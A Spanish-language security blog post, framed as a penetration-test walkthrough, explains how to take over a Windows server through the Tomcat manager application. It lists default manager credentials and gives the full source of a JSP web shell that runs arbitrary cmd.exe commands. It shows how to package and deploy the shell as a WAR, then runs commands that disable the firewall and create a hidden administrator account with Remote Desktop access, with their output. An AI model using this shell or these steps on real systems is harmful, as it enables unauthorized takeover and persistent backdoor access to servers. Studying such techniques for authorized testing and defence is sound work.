Bastionado, seguridad en sistemas: Tomar ventaja del manager de Tomcat pre { background:#eeeeee; border:1px solid #A6B0BF; font-size:120%; line-height:100%; overflow:auto; padding:10px; color:#000000 } pre:hover { border:1px solid #efefef; } code { font-size:120%; text-align:left; margin:0;padding:0; color: #000000;} .clear { clear:both; overflow:hidden; }

Bienvenido al blog

Bienvenidos al blog de seguridad en sistemas

domingo, 13 de marzo de 2011

Tomar ventaja del manager de Tomcat

Durante un test de intrusión un auditor podría tomar el control de una aplicación web, y en ocasiones, que dicha aplicación permita la administración de un servicio. Una vez conseguido dicho acceso, el auditor tendrá como objetivo intentar ejecutar comandos en el servidor.

Para mostrar como se realizaría esto se va a tomar de ejemplo un servidor Windows 2008 donde se ha conseguido acceso a la aplicación manager del Tomcat, el cual permite desplegar aplicaciones, detenerlas, ejecutarlas, reiniciarlas y eliminarlas. Es muy común que el usuario y contraseña empleados en el manager sean los del ejemplo de configuración (comentados por defecto) o los de la documentación de tomcat, es decir, admin/admin, tomcat/tomcat o tomcat/s3cret. Dicho fichero se encuentra en "home_tomcat/conf/tomcat-users.xml".

Para ello, una vez obtenido el usuario y la contraseña de administración del manager tendremos como objetivo conseguir desplegar un WAR que permita ejecutar comandos. Para la entra usaremos un script JSP de la "hacker_webkit" que me proporciono en su día Roberto y Raúl (compañeros de trabajo), cuyo código vemos a continuación:
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
Una vez guardado el script anterior con el nombre "cmd_win32.jsp" tenemos que crearnos el war:
# apt-get install fastjar
# mkdir consola
# cd consola

(creamos el fichero cmd_win32.jsp)
# jar -cvf consola.war *

adding: META-INF/ (in=0) (out=0) (stored 0%)
adding: META-INF/MANIFEST.MF (in=56) (out=56) (stored 0%)
adding: cmd_win32.jsp (in=272) (out=129) (deflated 52%)
Total:
------
(in = 312) (out = 503) (deflated -61%)
Ahora accedemos a la consola de administración del Tomcat, que por defecto está en "http://IP:8080/manager/html", introduciendo las credenciales obtenidas.  Una vez accedido, veremos que en la parte inferior con título "WAR file to deploy" se nos permite seleccionar un war para desplegarlo:



Pinchamos en "Examinar", seleccionamos nuestro "consola.war" y lo desplegamos pinchando sobre "Deploy". Dependiendo de la versión de tomcat la aplicación se ejecutará automáticamente o será necesario pinchar sobre "Start":



El siguiente paso será acceder a la consola: "http://IP:8080/consola/cmd_win32.jsp". Una vez accedido a la consola realizaremos los pasos básicos para crearnos un usuario, añadir el usuario al grupo administradores y al de escritorio remoto. Podemos encontrarnos con la necesidad de habilitar el escritorio remoto y deshabilitar el firewall de Windows. Para ello ejecutaremos los siguientes comandos:
Ver información del usuario:
set U
Deshabilitar firewall:
netsh firewall set opmode disable
Comprobar si el RD está arrancado:
sc query termservice
Crearnos un usuario:
net user prueba Est0Es1. /add
Añadirlo al grupo adminstradores:
net localgroup "Administrators" prueba /add
Añadirlo al grupo de RD:
net localgroup "Remote Desktop Users" prueba /add
Comprobar que todo ha salido bien:
net user prueba
Los resultados que deberá dar la shell será algo como lo siguiente:
Command: set U
USERDOMAIN=CASA
USERNAME=DC2008$
USERPROFILE=C:\Windows\system32\config\systemprofile
 
Command: netsh firewall set opmode disable
Ok.
 
Command: sc query termservice
SERVICE_NAME: termservice
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

Command: net user prueba Est0Es1. /add
The command completed successfully.
 
Command: net localgroup "Administrators" prueba /add
The command completed successfully.
 
Command: net localgroup "Remote Desktop Users" prueba /add
The command completed successfully.
 
Command: net user prueba
User name prueba
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 3/12/2011 9:37:58 PM
Password expires 4/23/2011 9:37:58 PM
Password changeable 3/13/2011 9:37:58 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators *Remote Desktop Users
Global Group memberships *Domain Users
The command completed successfully.

Con esto ya tendremos acceso al servidor con un usuario administrador por escritorio remoto. Nos vemos en la próxima entrada.

No hay comentarios:

Publicar un comentario